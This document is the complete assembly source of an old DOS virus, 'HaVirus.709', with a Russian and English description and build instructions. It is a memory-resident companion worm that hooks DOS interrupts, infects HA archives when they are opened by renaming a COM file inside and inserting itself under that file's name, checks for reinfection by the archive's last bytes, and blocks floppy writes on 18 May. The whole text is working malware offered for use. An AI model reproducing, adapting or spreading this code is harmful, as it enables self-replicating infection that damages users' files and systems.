COMMENT % HA-WORM.TSR. First, it looks into archive for any COM file, then renames it to OVM and last, adds ifself into archive under the original name. When user has executed an infected file, virus installs itself into memory and then executes original file (OVM). Thus, user thinks that all goes allright. Еще один продукт на старую тему - червь в архивах. Хотя тема не совсем старая, я бы даже сказал - новая. Во-первых, червь заражает архивы HA, чего, по моим данным, еще никто не делал. Во-вторых, заражает он их не совсем обычным образом. Обычные черви добавляют себя в архив под случайным, либо, что еще хуже, под фиксированным именем, и еще далеко не факт, что пользователь запустит такой файл. Этот же червь проходит по всему архиву (разберая его формат) и ищет в нем файл с расширением COM. Далее он переименовывает этот файл (меняет расширение на OVM), а сам себя добавляет в архив под настоящим именем только что переименованного файла. В результате после распаковки архива в нем оказываются два файла вместо одного: ANYFILE.COM (это червь) и ANYFILE.OVM (это обычная программа). Но и это еще не все. Если запустить файл ANYFILE.COM, то тот, сделав все, что ему нужно, запускает файл ANYFILE.OVM, и у пользователя создается впечатление, что все идет нормально (ведь его то программа работает!) То есть получается, что это не просто червь, а червь-компаньон (по аналогии с обычными вирусами-компаньонами, но в архивах). Вирус - резидентный. Заражает архивы HA при их открытии. Добавляет себя в архив по методу Stored (без архивации - как есть). Не изменяет атрибутов и времени создания архива. Не заражает архивы повторно, проверяя зараженность по последним двум байтам архива. 18 мая вирус устанавливает на Int 13h свой обработчик, который блокирует запись на дискеты (создается впечатление, что они защищены от записи). DJ Sadovnikov (http://i.am/djsad), 17.02.2000 ══════════════════════════════════════════════════════════════════════════════ Компилировать с помощью TASM 4.1+ tasm /m havirus.asm tlink /t /x havirus.obj del havirus.obj Файлы из архива: havirus.asm 10090 (исходник вируса) havirus.com 709 (бинарник вируса) havirus.doc 1006 (техническая информация) % ;══════════════════════════════════════════════════════════════════════════════ .286 Code segment use16 assume cs:Code, ds:Code org 100h Start: mov ax, 0ABCDh int 21h cmp ax, 0CDABh je Exit ;[Укорачиваем длину текущего блока памяти] mov ah, 4Ah mov bx, 1000h int 21h jc Exit ;[Переставляем Int 21h на Int 65h] mov ax, 3521h int 21h mov ds:[Ofs21h], bx mov ds:[Seg21h], es mov ax, 2565h mov dx, bx push es pop ds int 21h ;[Выделяем память для вируса] mov ah, 48h mov bx, VirSize/16+1 int 21h jc Exit mov es, ax ;[Помечаем блок памяти как системную область] dec ax mov ds, ax mov ds:[1], word ptr 8 ;[Копируем вирус в выделенную память] push cs pop ds mov si, offset Start xor di, di mov cx, CodeSize cld rep movsb ;[Устанавливаем новый обработчик Int 21h] mov ax, 2521h mov dx, Int21h-Start push es pop ds int 21h ;[Проверяем системную дату] mov ax, 0807h out 70h, al in al, 71h xchg ah, al out 70h, al in al, 71h cmp ax, 1805h jne Exit ;[Сохраняем адрес старого обработчика Int 13h] mov ax, 3513h int 65h mov ds:[Ofs13h-Start], bx mov ds:[Seg13h-Start], es ;[Устанавливаем новый обработчик Int 13h] mov ax, 2513h mov dx, Int13h-Start int 65h ;══════════════════════════════════════════════════════════════════════════════ ;[Ищем имя файла] Exit: push cs:[2Ch] pop ds mov di, 4 Loop1: cmp ds:[di-4], word ptr 0000 jne L1 cmp ds:[di-2], word ptr 0001 je Found1 L1: inc di jmp Loop1 Found1: mov dx, di ;[Ищем конец имени файла и меняем его расширение] call FindZero mov ds:[di-3], 'VO' ;[Подготавливаем блок параметров для запуска файла] mov bx, offset PBlock mov cs:[bx+04h], cs mov cs:[bx+08h], cs mov cs:[bx+0Ch], cs ;[Запускаем файл] mov ax, 4B00h push cs pop es int 21h ret ;[Блок параметров для запуска файла] PBlock dw 0 dw 80h,0 dw 5Ch,0 dw 6Ch,0 ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ОБРАБОТЧИКИ ;══════════════════════════════════════════════════════════════════════════════ Int13h: cmp ah, 3 jne Quit$ cmp dl, 0 je Protect cmp dl, 1 je Protect Quit$: db 0EAh Ofs13h dw 0 Seg13h dw 0 Protect: push bp mov bp, sp or [bp+6], byte ptr 00000001b pop bp mov ah, 3 iret ;══════════════════════════════════════════════════════════════════════════════ Int21h: cmp ax, 0ABCDh jne NotTest xchg ah, al iret NotTest: pusha push ds cmp ah, 3Dh je FileOpen QuitA: jmp Quit RestAttrA: jmp RestAttr CloseA: jmp Close ;[Ищем конец имени файла] FileOpen: mov di, dx call FindZero ;[Проверяем тип файла] mov ax, ds:[di-3] and ah, 0DFh cmp ax, 'H.' jne QuitA mov al, ds:[di-1] and al, 0DFh cmp al, 'A' jne QuitA ;[Сохраняем атрибуты файла] mov ax, 4300h int 65h jc QuitA push cx push dx push ds ;[Обнуляем атрибуты файла] mov ax, 4301h xor cx, cx int 65h jc RestAttrA ;[Открываем файл] mov ax, 3D02h int 65h jc RestAttrA xchg bx, ax ;[Сохраняем время и дату создания файла] mov ax, 5700h int 65h jc CloseA push dx push cx ;[Устанавливаем указатель на 2 байта от конца файла] mov ax, 4202h mov cx, 0FFFFh mov dx, 0FFFEh int 65h jc RestTime ;[Считываем последние два байта] mov cx, 2 call Read2 jc RestTime ;[Проверяем файл на зараженность] cmp ds:[Temp-Start], 'VO' je RestTime ;[Устанавливаем указатель в начало файла] mov al, 0 call Seek jc RestTime ;[Считываем главный заголовок] mov cx, 4 call Read2 jc RestTime ;[Это архив HA?] cmp ds:[Temp-Start], 'AH' jne RestTime mov si, ds:[Temp+2-Start] inc word ptr ds:[Temp+2-Start] ;[Считываем статические данные заголовка] Loop2: mov cx, 11h mov dx, Header-Start call Read jc RestTime ;[Считываем путь к файлу и имя файла] mov di, Header+11h-Start call SeekZero jc RestTime call SeekZero jc RestTime ;[Считываем остаток заголовка] mov cx, 3 call Read1 jc RestTime ;[Это COM файл?] mov ax, ds:[di-5] and ah, 0DFh cmp ax, 'C.' jne Next mov ax, ds:[di-3] and ax, 0DFDFh cmp ax, 'MO' je Found2 ;[Устанавливаем указатель на следующий блок] Next: mov ax, 4201h mov dx, ds:[Header+1-Start] mov cx, ds:[Header+3-Start] int 65h dec si jnz Loop2 ;══════════════════════════════════════════════════════════════════════════════ ;[Восстанавливаем дату и время создания файла] RestTime: mov ax, 5701h pop cx pop dx int 65h ;[Закрываем файл] Close: mov ah, 3Eh int 65h ;[Восстанавливаем атрибуты файла] RestAttr: mov ax, 4301h pop ds pop dx pop cx int 65h ;[Отдаем управление настоящему обработчику Int 21h] Quit: pop ds popa db 0EAh Ofs21h dw 0 Seg21h dw 0 ;══════════════════════════════════════════════════════════════════════════════ ;[Перемещаем указатель на расширение файла] Found2: mov ax, 4201h mov cx, 0FFFFh mov dx, 0FFF9h int 65h jc RestTime ;[Меняем расширение найденного файла] mov cx, 2 mov dx, Dummy-Start call Write jc RestTime ;[Вычисляем CRC32 вируса] xor si, si mov ax, 0FFFFh mov dx, ax Loop3: xor al, ds:[si] mov cx, 8 Loop4: shr dx, 1 rcr ax, 1 jnc Skip xor dx, 0EDB8h xor ax, 08320h Skip: loop Loop4 inc si cmp si, CodeSize jne Loop3 not dx not ax ;[Меняем поля заголовка] mov ds:[Header-Start+00h], byte ptr 20h mov ds:[Header-Start+01h], word ptr CodeSize mov ds:[Header-Start+03h], word ptr 0 mov ds:[Header-Start+05h], word ptr CodeSize mov ds:[Header-Start+07h], word ptr 0 mov ds:[Header-Start+09h], ax mov ds:[Header-Start+0Bh], dx ;[Устанавливаем указатель в конец файла] mov al, 2 call Seek jc RestTimeB ;[Записываем новый заголовок] lea cx, [di+3] mov dx, Header-Start sub cx, dx call Write jc RestTimeB ;[Записываем вирус] mov cx, CodeSize xor dx, dx call Write jc RestTimeB ;[Устанавливаем указатель в начало файла] mov al, 0 call Seek jc RestTimeB ;[Записываем основной заголовок] mov cx, 4 mov dx, Temp-Start call Write RestTimeB: jmp RestTime ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ПОДПРОГРАММЫ ;══════════════════════════════════════════════════════════════════════════════ SeekZero: mov cx, 1 call Read1 jc Error inc di cmp ds:[di-1], byte ptr 0 jne SeekZero Error: ret FindZero: inc di cmp ds:[di], byte ptr 0 jne FindZero ret Write: mov ah, 40h jmp Int65h Read1: mov dx, di jmp Read Read2: mov dx, Temp-Start Read: mov ah, 3Fh push cs pop ds Int65h: int 65h ret Seek: mov ah, 42h xor cx, cx xor dx, dx jmp Int65h ;══════════════════════════════════════════════════════════════════════════════ ;══════════════════════════════════════════════════════════════════════════════ ; ДАННЫЕ ;══════════════════════════════════════════════════════════════════════════════ VirName db 'HaVirus.709 -- Copyright (c) by DJ Sadovnikov' Dummy db 'OV' CodeSize = $ - Start Temp dw ?,? Header db 121h dup (?) VirSize = $ - Start Code ends end Start